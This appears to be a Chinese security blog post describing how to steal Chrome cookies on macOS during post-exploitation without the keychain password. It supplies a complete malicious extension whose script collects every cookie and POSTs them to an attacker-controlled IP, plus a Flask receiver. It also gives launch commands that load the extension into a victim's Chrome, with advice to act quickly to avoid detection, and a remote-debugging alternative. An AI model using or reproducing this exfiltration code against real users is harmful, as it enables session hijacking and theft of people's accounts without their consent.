MacOS下无密码dump chrome cookie
文章最后更新时间为:2021年11月18日 11:48:57
1. 背景
在后渗透中,获取用户凭证是很重要的一步,其中就包括浏览器的各种敏感信息。包括浏览记录、下载历史
cookie、书签等等。
在windows和linux上我们可以很轻易的获取各种浏览器的敏感信息,cs也有很多插件可以使用,hack-browser-data 就是是一个浏览器数据(包括密码、历史记录、Cookie、书签、信用卡、下载记录)的导出工具,支持全平台主流浏览器,其github主页为https://github.com/moonD4rk/HackBrowserData
Chrome的数据文件存储路径可以通过在搜索框中输入chrome://version 看到,其中Profile Path就是存储路径。
此路径下有Cookies History Bookmarks Login data这四个文件用来存储对应的信息,拷贝后使用 sqlite3 数据库打开Cookies,看到encrypte_value关键字段是BLOB (Binary long Object)类型,我们要做的就是如何解密这串二进制。
在windows上,解密需要用到的secret key值存储在Profile Path上级路径的Local State文件中,字段encrypted_key 为AES用到的key值。整个解密过程无需任何密码,用户只需可以访问Chrome数据文件便可完成解密。
在macos上,解密有些稍微不一样,其中用到的secret key值则存储在Mac keychain中,所以解密过程必须得要输入系统密码。
2. mac下dump cookie
所以在mac平台上,需要解密的数据,比如cookie,则无法通过常规手段解密得到。那么怎么获取cookie呢?
这里可以采用加载chrome插件盗取cookie的形式。chrome插件具有获取cookie的api,可以参考
- https://developer.chrome.com/docs/extensions/reference/cookies/
- https://github.com/GoogleChrome/chrome-extensions-samples/tree/main/api/cookies/cookie-clearer
这里我写了一个简单的插件,用来遍历所有的cookie,发送给我们的服务器。源码为:https://github.com/saucer-man/chrome_get_cookie
manifest.json
{ "name": "getCookie", "manifest_version": 2, "version": "1.0", "description": "getCookie 扩展程序", "browser_action": { "default_popup": "popup.html" }, "background": { "scripts": ["getcookie.js"], "persistent": false }, "permissions": [ "https://*/*", "http://*/*", "cookies" ] }
- getcookie.js
chrome.cookies.getAll({}, function (cks){
var result = Array();
cks.forEach(function(ck){
var m_ck = {};
m_ck["domain"] = ck.domain
m_ck["name"] = ck.name;
m_ck["value"] = ck.value;
m_ck["hostOnly"] = ck.hostOnly;
m_ck["path"] = ck.path;
result.push(m_ck);
});
(function(data){
var url = 'http://xx.xx.xx.xx:9999/';
fetch(url, {
method: 'POST',
body: JSON.stringify(data),
headers: new Headers({
'Content-Type': 'application/json'
})
});
}(result));
});
其中需要注意的是background只有在扩展第一次加载的时候才会执行。
那么怎么利用呢?
首先我们需要搞一个服务器接受cookie,这里实验的话,就使用python flask:
from flask import Flask,request, make_response
import json
app = Flask(__name__)
@app.route('/',methods=['POST'])
def hello_world():
data = request.get_data()
json_re = json.loads(data)
with open("cookie.json","w") as f:
json.dump(json_re,f)
# print(json_re)
resp = make_response("success")
return resp
if __name__ == '__main__':
app.run(debug=True,host='0.0.0.0',port=9999)
然后需要让对方加载这个扩展,分为两种情况,
第一种情况,如果对方没有开chrome google进程,那么就很简单了。只需要执行:
# 启动chrome程序,并且加载解压之后的浏览器扩展
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --load-extension=./chrome_get_cookie
# 当服务器接收到cookie后,停止这个进程,整个动作最好要快,防止被发现
第二种情况,如果对方正在使用chrome,这个时候我们就需要开启另一个chrome实例,才可以加载插件。使用--user-data-dir即可
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --load-extension=./chrome_get_cookie --user-data-dir=~/tmp
但是这样启动的实例,无法获取到用户cookie和其他数据,所以在启动前,还需要把用户数据复制到这个目录,但是第二种情况我试验下来,一直没有接收到cookie,不知道是不是我复制的用户数据有问题。
3. 更新
后来我又搜到另一种无密码dump cookie的方式:利用chrome的远程调试功能,然后通过调试接口来获取所有的cookie。具体内容可以查看:https://zhuanlan.zhihu.com/p/48553407
在终端上输入如下命令
# 开启一个 Headless Chrome 窗口,设置远程调试监听 localhost:9222 (Chrome 远程调试的默认端口)。成功开启 Headless Chrome 窗口后还需要打开一个标签页来 debug 它。可以是 gmail.com ,也可以是其他。
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \
--headless \
--user-data-dir="$HOME/Library/Application Support/Google/Chrome/" \
https://gmail.com \
--remote-debugging-port=9222
自动化利用脚本:https://github.com/defaultnamehere/cookie_crimes
在最新版本的mac上测试下来不可用:
但是思路是很好的
牛逼